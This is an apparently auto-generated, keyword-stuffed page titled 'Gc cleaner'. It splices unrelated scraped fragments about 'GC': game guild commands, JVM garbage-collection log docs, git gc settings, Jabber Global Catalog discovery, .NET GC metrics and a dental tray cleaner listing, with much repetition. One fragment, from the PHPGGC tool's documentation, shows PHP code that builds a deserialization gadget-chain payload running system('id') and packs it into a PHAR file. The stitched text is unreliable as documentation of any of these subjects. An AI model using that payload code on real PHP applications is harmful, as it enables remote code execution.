Gc cleaner

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Guild /gc claim Ranking guild member (with claiming permissions) in a group filled with all guild members may claim a keep in the name of the guild /gc decline Declines a guild invitation /gc demote [#] Demotes the target to the specified rank number /gc deposit [copper] Allows players to make a deposit to their guild's bank. Please note that the deposit should be entered in cp. /gc edit Lists editable pieces of the guild structure; To edit them, type /gc edit [editable section name]. /gc edit [ranknum] alli [y/n] Ability for the guild leader to allow a rank to enter/leave alliances (create a diplomatic officer) /gc edit [ranknum] motdedit [y/n] Ability for the guild leader to allow a rank to edit the guild motd /gc email Set the guild's contact email address; Displayed on the Camelot Herald /gc emblem Sets the guild's emblem /gc form Forms the guild (8 people required) /gc info Returns a list of guild information /gc invite [playername] Invites the specified player to join the guild /gc logins Toggles a flag on your character which will send a text message informing you of whenever a member of your guild (who isn't anon) logs on or off /gc motd Lists the message of the day /gc motd [text] Sets the message of the day with the designated text /gc omotd Lists the officer guild message of the day (if one is an officer) /gc omotd [text] Sets the officer message of the day with the designated text /gc promote [playername] [rank#] Promotes the specified player to the specified rank number /gc quit Removes oneself from the guild /gc ranks Lists the ranks in the guild. Leaders may also change these ranks with this command. /gc release Ranking guild member (with releasing permissions) can release a claimed guild keep /gc remove Removes target from the guild /gc removeaccount Removes all characters associated with the same account as the target character. /gc webpage Set the guild's website information; Displayed on the Camelot Herald /gc webranks show/hide Determines whether characters in the guild will be listed with their ranks

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(K), ms[memory ] - start time of collection (seconds since jvm start)[memory ] - end time of collection (seconds since jvm start)[memory ] - memory used by objects before collection (KB)[memory ] - memory used by objects after collection (KB)[memory ] - size of heap after collection (KB)[memory ] - total pause time during collection (milliseconds)[memory ] 1.069: parallel nursery GC 24995K->24810K (65536K), 40.038 ms[memory ] 1.535: parallel nursery GC 46818K->46701K (65536K), 31.319 ms[memory ] 8.698-9.247: GC 48085K->46437K (65536K), 230.190 ms[memory ] 9.252-9.915: GC 49055K->55834K (76680K), 216.105 ms[memory ] 9.928: parallel nursery GC 63287K->63287K (76680K), 20.282 ms memory; gc with singlecon A report for a JVM running a single generation concurrent collector (-Xgc:singlecon) with memory or gc specified might look like this: [memory ] GC strategy: singlecon[memory ] heap size: 65536K, maximal heap size: 785672K[memory ] -: GC K->K (K), ms[memory ] - start time of collection (seconds since jvm start)[memory ] - end time of collection (seconds since jvm start)[memory ] - memory used by objects before collection (KB)[memory ] - memory used by objects after collection (KB)[memory ] - size of heap after collection (KB)[memory ] - total pause time during collection (milliseconds)[memory ] 30.220-30.693: GC 65058K->55006K (76680K), 101.591 ms[memory ] 30.749-31.290: GC 76680K->73168K (89716K), 90.350 ms[memory ] 31.297-31.904: GC 79089K->89716K (104968K), 2.386 ms memory;gc with parallel A report for a JVM running a parallel collector (-Xgc:parallel) with memory or gc specified might look like this: [memory ] GC strategy: parallel[memory ] heap size: 65536K, maximal heap size: 785672K[memory ] -: GC K->K (K), ms[memory ] - start time of collection (seconds since jvm start)[memory ] - end time of collection (seconds since jvm start)[memory ] - memory used by objects before collection (KB)[memory ] - memory used by objects after collection (KB)[memory ] - size of heap after collection (KB)[memory ] - total pause time during collection (milliseconds)[memory ] 1.563-1.805: GC 65536K->55018K (76680K), 242.030 ms[memory ] 1.871-2.114: GC 76680K->73161K (89716K), 242.675 ms[memory ] 2.167-2.478: GC 89716K->86478K (104968K), 310.974 ms memory;gc with -Xgcprio: throughput A report for a JVM running a dynamic garbage collector optimized for application throughput (-XgcPrio:throughput) with memory or gc specified might look like this: [memory ] GC strategy: System optimized over throughput (initial strategy singleparpar)[memory ] heap size: 65536K, maximal heap size: 785672K[memory ] -: GC K->K (K), ms[memory ] - start time of collection (seconds since jvm start)[memory ] - end time of collection (seconds since jvm start)[memory ] - memory used by objects before collection (KB)[memory ] - memory used by objects after collection (KB)[memory ] - size of heap after collection (KB)[memory ] - total pause time during collection (milliseconds)[memory ] Changing GC strategy to generational, parallel mark and parallel sweep[memory

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To zero. Common unit suffixes ofk, m, or g are supported.Note that if the number of kept packs is more than gc.autoPackLimit,this configuration variable is ignored, all packs except the base packwill be repacked. After this the number of packs should go belowgc.autoPackLimit and gc.bigPackThreshold should be respected again.If the amount of memory estimated for git repack to run smoothly isnot available and gc.bigPackThreshold is not set, the largest packwill also be excluded (this is the equivalent of running git gc with--keep-largest-pack). gc.writeCommitGraph If true, then gc will rewrite the commit-graph file whengit-gc[1] is run. When using git gc --autothe commit-graph will be updated if housekeeping isrequired. Default is true. See git-commit-graph[1]for details. gc.logExpiry If the file gc.log exists, then git gc --auto will printits content and exit with status zero instead of runningunless that file is more than gc.logExpiry old. Default is"1.day". See gc.pruneExpire for more ways to specify itsvalue. gc.packRefs Running git pack-refs in a repository renders itunclonable by Git versions prior to 1.5.1.2 over dumbtransports such as HTTP. This variable determines whethergit gc runs git pack-refs. This can be set to notbareto enable it within all non-bare repos or it can be set to aboolean value. The default is true. gc.pruneExpire When git gc is run, it will call prune --expire 2.weeks.ago.Override the grace period with this config variable. The value"now" may be used to disable this grace period and always pruneunreachable objects immediately, or "never" may be used tosuppress pruning. This feature helps prevent corruption whengit gc runs concurrently with another process writing to therepository; see the "NOTES" section of git-gc[1]. gc.worktreePruneExpire When git gc is run, it callsgit worktree prune --expire 3.months.ago.This config variable can be used to set a different graceperiod. The value "now" may be used to disable the graceperiod and prune $GIT_DIR/worktrees immediately, or "never"may be used to suppress pruning. gc.reflogExpire gc..reflogExpire git reflog expire removes reflog entries older thanthis time; defaults to 90 days. The value "now" expires allentries immediately, and "never" suppresses expirationaltogether. With "" (e.g."refs/stash") in the middle the setting applies only tothe refs that match the . gc.reflogExpireUnreachable. GC TreClean Tray Cleaner (1.2kg) GC TreClean Tray Cleaner (1.2kg) GC TreClean Tray Cleaner (1.2kg) 0 reviews. Brand: GC. Product Code: Tray Cleaner For Removing Alginate. Availability: GC TreClean Tray Cleaner (1.2kg) GC TreClean Tray Cleaner (1.2kg) GC TreClean Tray Cleaner (1.2kg) 0 reviews. Brand: GC. Product Code: Tray Cleaner For Removing Alginate. Availability:

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This: [memory ] 12.875: nursery GC 89648K->89716K (89716K), 3.296 ms [memdbg ] nursery GC 291: promoted 1510 objects (69744 bytes) in 3.296 ms [memdbg ] Page faults before GC: 36784, page faults after GC: 36800, pages in heap: 22429[finalizer] (YC) Pending finalizers 0->0 [memdbg ] old collection 7 started [memdbg ] Compacting 8 heap parts at index 112 (type 2) (exceptional 0) [memdbg ] starting parallel marking phase [memdbg ] ending marking phase [memdbg ] current generational GC work score: 0.142956[memdbg ] last single generational GC work score: 0.081486 [memdbg ] current error: -0.042956 [memdbg ] previous nursery size: 736760[memdbg ] requested nursery size: 711984 [memdbg ] starting parallel sweeping phase [memdbg ] ending sweeping phase [memory ] 11.841-12.025: GC 89716K->67088K (89716K), 184.000 ms [memdbg ] Page faults before GC: 36827, page faults after GC: 37036, pages in heap: 22429[finalizer] (OC) Pending finalizers 0->0 memdbg with -XgcPrio: throughput Turns on memory printout and adds new special memdbg printouts. A report for a JVM running a dynamic garbage collector optimized for application throughput (-XgcPrio:throughput) with memdbg specified might look like this: [memdbg ] nursery GC 3: promoted 22788 objects (1246K) in 28.472 ms[memdbg ] Page faults before GC: 24768, page faults after GC: 25288, pages in heap: 19170[finaliz] (YC) Pending finalizers 0->0[memdbg ] old collection 2 started[memdbg ] OC reasons: Large obj: 1 (4021248 bytes), TLA: 1, Promotion: 0, GCTrigger: 1, SystemGC: 0, Other: 0[memdbg ] Compacting 8 heap parts at index 0 (type 1) (exceptional 0)[memdbg ] starting parallel marking phase[memdbg ] ending marking phase[memdbg ] current generational GC work score: 0.266484[memdbg ] last single generational GC work score: 0.000000[memdbg ] current error: -0.166484[memory ] Changing GC strategy to single generation, parallel mark and parallel sweep[memdbg ] starting parallel sweeping phase[memdbg ] ending sweeping phase[memdbg ] expanding the heap from 74 MB to 87 MB[memory ] 15.882-16.157: GC 76680K->69203K (89716K), 275.413 ms[memdbg ] Page faults before GC: 25288, page faults after GC: 25765, pages in heap: 22429[finaliz] (OC) Pending finalizers 0->0 memory;gc Information about the memory management system, including: Start time of collection (seconds since JVM start) End time of collection (seconds since JVM start) Memory used by objects before collection (KB) Memory used by objects after collection (KB) Size of heap after collection (KB) Total time of collection (seconds or milliseconds) Total pause time during collection (milliseconds) The information displayed by -Xverbose:memory or -Xverbose:gc will vary depending upon the type of garbage collector you are using. memory;gc with gencon A report for a JVM running a generational concurrent collector (-Xgc:gencon) with memory or gc specified might look like this: [memory ] GC strategy: gencon[memory ] heap size: 65536K, maximal heap size: 785672K, nursery size: 16384K[memory ] -: GC K->K

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Discover the GC servers. If it doesn't discover the GC servers, Jabber then send DNS queries to the LDAP domain to discover the LDAP servers. When there is a GC available, the client does the following: Gets the DNS domain from the workstation and looks up the SRV record for the GC. Retrieves the address of the GC from the SRV record. Connects to the GC with the signed-in user's credentials. Discovery Using the Global Catalog Domain Jabber attempts to discover GC servers with a DNS SRV query. First, Jabber gets the GC domain: If available, Jabber uses the DNSFORESTNAME environment variable as the GC domain. If DNSFORESTNAME is not available, Jabber checks the following for the GC domain: On Windows, Jabber calls the Windows DsGetDcName API to get DnsForestName. On non-Windows platforms, Jabber reads LdapDNSForestDomain from jabber-config.xml. After Jabber gets the GC domain, it sends a DNS SRV query to get the GC server address: On Windows, Jabber checks if SiteName is available through Windows DsGetSiteName API: If SiteName exists, Jabber sends out the DNS SRV query, _gc._tcp.SiteName._sites.GCDomain, to get the GC server address. If SiteName doesn't exist or no SRV record is returned for _gc._tcp.SiteName._sites.GCDomain, Jabber sends out the DNS SRV query, _gc._tcp.GCDomain, to get the GC server address. On a non-Windows platform, Jabber sends out the DNS SRV query, _gc._tcp.GCDomain, to get the GC server address. Discovery Using the LDAP Domain If Jabber cannot discover a GC server, it then attempts to discover the LDAP domain: If available, Jabber uses the USERDNSDOMAIN environment variable as the LDAP domain. If USERDNSDOMAIN is not available, Jabber reads LdapUserDomain from jabber-config.xml. If LdapUserDomain is not available, Jabber uses the email domain with which the user signed in as the LDAP domain. After Jabber gets the LDAP Domain, it sends a

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See us on GitHub Or on SourceForge All good things come in twos! Like Dr. Jekyll and Mr. Hyde, GC Studio has two personalities. We offer two different IDE’s to choose. Both are tailored to GCB’s specific needs, allowing easy switching.Learn More About GC Studio. GC Code, Coding Evolved GIT Integration GC Studio has integrated source control management (SCM) and includes Git support out-of-the-box. Many other source control providers are available through extensions.Language Syntax Recognition GC Studio IntelliSense features intelligent code completions based on language semantics and an analysis of your source code. If GC Studio knows possible completions, the IntelliSense suggestions will pop up as you type. If you continue typing characters, the list of members (variables, methods, etc.) is filtered to only include members containing your typed characters. Pressing Tab or Enter will insert the selected member.Multi File and Multi Path Projects You can work with multiple project folders in GC Studio with multi-root workspaces. This can be helpful when you are working on several related projects at one time. For example, you might have a repository with a multiple board or multiple micro-controller project where you want to have multiple source files.More GC Code Key Features 1291 Example Code and Demos 1275 Supported Chip Parts Our Awards New Tutorials What's New

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Gc.bigPackThreshold is not set, the largest packwill also be excluded (this is the equivalent of running git gc with--keep-largest-pack). gc.writeCommitGraph If true, then gc will rewrite the commit-graph file whengit-gc[1] is run. When using git gc --autothe commit-graph will be updated if housekeeping isrequired. Default is true. See git-commit-graph[1]for details. gc.logExpiry If the file gc.log exists, then git gc --auto will printits content and exit with status zero instead of runningunless that file is more than gc.logExpiry old. Default is"1.day". See gc.pruneExpire for more ways to specify itsvalue. gc.packRefs Running git pack-refs in a repository renders itunclonable by Git versions prior to 1.5.1.2 over dumbtransports such as HTTP. This variable determines whethergit gc runs git pack-refs. This can be set to notbareto enable it within all non-bare repos or it can be set to aboolean value. The default is true. gc.pruneExpire When git gc is run, it will call prune --expire 2.weeks.ago.Override the grace period with this config variable. The value"now" may be used to disable this grace period and always pruneunreachable objects immediately, or "never" may be used tosuppress pruning. This feature helps prevent corruption whengit gc runs concurrently with another process writing to therepository; see the "NOTES" section of git-gc[1]. gc.worktreePruneExpire When git gc is run, it callsgit worktree prune --expire 3.months.ago.This config variable can be used to set a different graceperiod. The value "now" may be used to disable the graceperiod and prune $GIT_DIR/worktrees immediately, or "never"may be used to suppress pruning. gc.reflogExpire gc..reflogExpire git reflog expire. GC TreClean Tray Cleaner (1.2kg) GC TreClean Tray Cleaner (1.2kg) GC TreClean Tray Cleaner (1.2kg) 0 reviews. Brand: GC. Product Code: Tray Cleaner For Removing Alginate. Availability: GC TreClean Tray Cleaner (1.2kg) GC TreClean Tray Cleaner (1.2kg) GC TreClean Tray Cleaner (1.2kg) 0 reviews. Brand: GC. Product Code: Tray Cleaner For Removing Alginate. Availability:

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To handle newly allocated objects in the future. For more information about the .NET GC, see the .NET garbage collection guide.Available starting in: .NET 9.0.Metric: dotnet.gc.last_collection.heap.sizeNameInstrument TypeUnit (UCUM)Descriptiondotnet.gc.last_collection.heap.sizeUpDownCounterByThe managed GC heap size (including fragmentation), as observed during the latest garbage collection.AttributeTypeDescriptionExamplesPresencegc.heap.generationstringName of the garbage collector managed heap generation.gen0; gen1; gen2; loh; pohAlwaysThe .NET GC divides the heap into generations. In addition to the standard numbered generations, the GC also puts some objects into two special generations:Large object heap (LOH) stores .NET objects that are very large compared to typical objects.Pinned object heap (POH) stores objects allocated using the GC.AllocateArray API when the pinned parameter is true.Both of these special generations are collected during gen2 GC collections. For more information about the .NET GC, see the .NET Garbage collection guide.Available starting in: .NET 9.0.Metric: dotnet.gc.last_collection.heap.fragmentation.sizeNameInstrument TypeUnit (UCUM)Descriptiondotnet.gc.last_collection.heap.fragmentation.sizeUpDownCounterByThe heap fragmentation, as observed during the latest garbage collection.AttributeTypeDescriptionExamplesPresencegc.heap.generationstringName of the garbage collector managed heap generation.gen0; gen1; gen2; loh; pohAlwaysThis metric reports the same values as calling GCGenerationInfo.FragmentationAfterBytes.When .NET objects are allocated, initially they tend to be laid out contiguously in memory. However, if some of those objects are later collected by the GC, this creates gaps of unused memory between the live objects that remain. These gaps represent the portion of the GC heap that's not currently being used to store objects, often called "fragmentation." The GC can reuse the fragmentation bytes in the future for new object allocations if the object size is small enough to fit in one of the gaps. The GC can also perform a special compacting garbage collection that moves remaining live objects next to each other as long as the objects haven't been pinned in place.For more information about how the .NET GC works, analyzing GC performance, and what role fragmentation plays, see .NET memory performance analysis.Available starting in: .NET 9.0.Metric: dotnet.gc.pause.timeNameInstrument TypeUnit (UCUM)Descriptiondotnet.gc.pause.timeCountersThe total amount of time paused in GC since the process started.This metric reports the same values as calling GC.GetTotalPauseDuration().Each time the .NET GC does a collection it needs to briefly pause all threads running managed code to determine which objects are still referenced. This metric reports the sum of all these pause times since the process began. You can use this metric to determine what fraction of time threads spend paused for GC versus the time they're able to run managed code.Available starting in: .NET 9.0.Metric: dotnet.jit.compiled_il.sizeNameInstrument TypeUnit (UCUM)Descriptiondotnet.jit.compiled_il.sizeCounterByCount of bytes of intermediate

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1.0.0 │ OK │ KO │ KO ││ 1.0.0-RC1 │ OK │ KO │ KO ││ dev-main │ OK │ OK │ KO ││ * dev-phpstan │ OK │ OK │ KO │└─────────────────┴─────────┴──────────────┴──────────────┘You can specify the versions you want to test by using the following syntaxe.$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3Testing 2 versions for monolog/monolog against 2 gadget chains.┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩│ 2.3.0 │ OK │ OK │ KO ││ 1.25.4 │ OK │ OK │ KO │└─────────────────┴─────────┴──────────────┴──────────────┘APIInstead of using PHPGGC as a command line tool, you can program PHP scripts:process_parameters([ 'function' => 'system', 'parameter' => 'id',]);# Generate the payload$object = $gc->generate($parameters);# Most (if not all) GC's do not use process_object and process_serialized, so# for quick & dirty code you can omit those two $object = $gc->process_object($object);# Serialize the payload$serialized = serialize($object);$serialized = $gc->process_serialized($serialized);# Display itprint($serialized . "\n");# Create a PHAR file from this payload$phar = new \PHPGGC\Phar\Tar($serialized);file_put_contents('output.phar.tar', $phar->generate());"># Include PHPGGCinclude("phpggc/lib/PHPGGC.php");# Include guzzle/rce1$gc = new \GadgetChain\Guzzle\RCE1();# Always process parameters unless you're doing something out of the ordinary$parameters = $gc->process_parameters([ 'function' => 'system', 'parameter' => 'id',]);# Generate the payload$object = $gc->generate($parameters);# Most (if not all) GC's do not use process_object and process_serialized, so# for quick & dirty code you can omit those two $object = $gc->process_object($object);# Serialize the payload$serialized = serialize($object);$serialized = $gc->process_serialized($serialized);# Display itprint($serialized . "\n");# Create a PHAR file from this payload$phar = new \PHPGGC\Phar\Tar($serialized);file_put_contents('output.phar.tar', $phar->generate());This allows you to tweak the parameters or write exploits more easily.Note: This is pretty experimental at the moment, so. GC TreClean Tray Cleaner (1.2kg) GC TreClean Tray Cleaner (1.2kg) GC TreClean Tray Cleaner (1.2kg) 0 reviews. Brand: GC. Product Code: Tray Cleaner For Removing Alginate. Availability:

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Then gc will rewrite the commit-graph file whengit-gc[1] is run. When using git gc --autothe commit-graph will be updated if housekeeping isrequired. Default is true. See git-commit-graph[1]for details. gc.logExpiry If the file gc.log exists, then git gc --auto will printits content and exit with status zero instead of runningunless that file is more than gc.logExpiry old. Default is"1.day". See gc.pruneExpire for more ways to specify itsvalue. gc.packRefs Running git pack-refs in a repository renders itunclonable by Git versions prior to 1.5.1.2 over dumbtransports such as HTTP. This variable determines whethergit gc runs git pack-refs. This can be set to notbareto enable it within all non-bare repos or it can be set to aboolean value. The default is true. gc.pruneExpire When git gc is run, it will call prune --expire 2.weeks.ago.Override the grace period with this config variable. The value"now" may be used to disable this grace period and always pruneunreachable objects immediately, or "never" may be used tosuppress pruning. This feature helps prevent corruption whengit gc runs concurrently with another process writing to therepository; see the "NOTES" section of git-gc[1]. gc.worktreePruneExpire When git gc is run, it callsgit worktree prune --expire 3.months.ago.This config variable can be used to set a different graceperiod. The value "now" may be used to disable the graceperiod and prune $GIT_DIR/worktrees immediately, or "never"may be used to suppress pruning. gc.reflogExpire gc..reflogExpire git reflog expire removes reflog entries older thanthis time; defaults to 90 days. The value "now" expires allentries immediately, and "never" suppresses expirationaltogether. With "" (e.g."refs/stash") in the middle the setting applies only tothe refs that match the . gc.reflogExpireUnreachable gc..reflogExpireUnreachable git reflog expire removes reflog entries older thanthis time and are not reachable from the current tip;defaults to 30 days. The value "now" expires all entriesimmediately, and "never" suppresses expiration altogether.With "" (e.g. "refs/stash")in the middle, the setting applies only to the refs thatmatch the .These types of entries are generally created as a result of using gitcommit --amend or git rebase and are the commits prior to the amendor rebase occurring. Since these changes are not part of the currentproject most users will want to expire them sooner, which is why thedefault is more aggressive than gc.reflogExpire. gc.rerereResolved Records of conflicted merge you resolved earlier arekept for this many days when git rerere gc is run.You can also use more human-readable "1.month.ago", etc.The default is 60 days. See git-rerere[1]. gc.rerereUnresolved Records of conflicted merge you have not resolved arekept for this many days when git rerere gc is run.You can also use more human-readable "1.month.ago", etc.The default is 15 days. See git-rerere[1]. gitcvs.commitMsgAnnotation Append this string to each commit message. Set to empty stringto disable this feature. Defaults to "via git-CVS emulator". gitcvs.enabled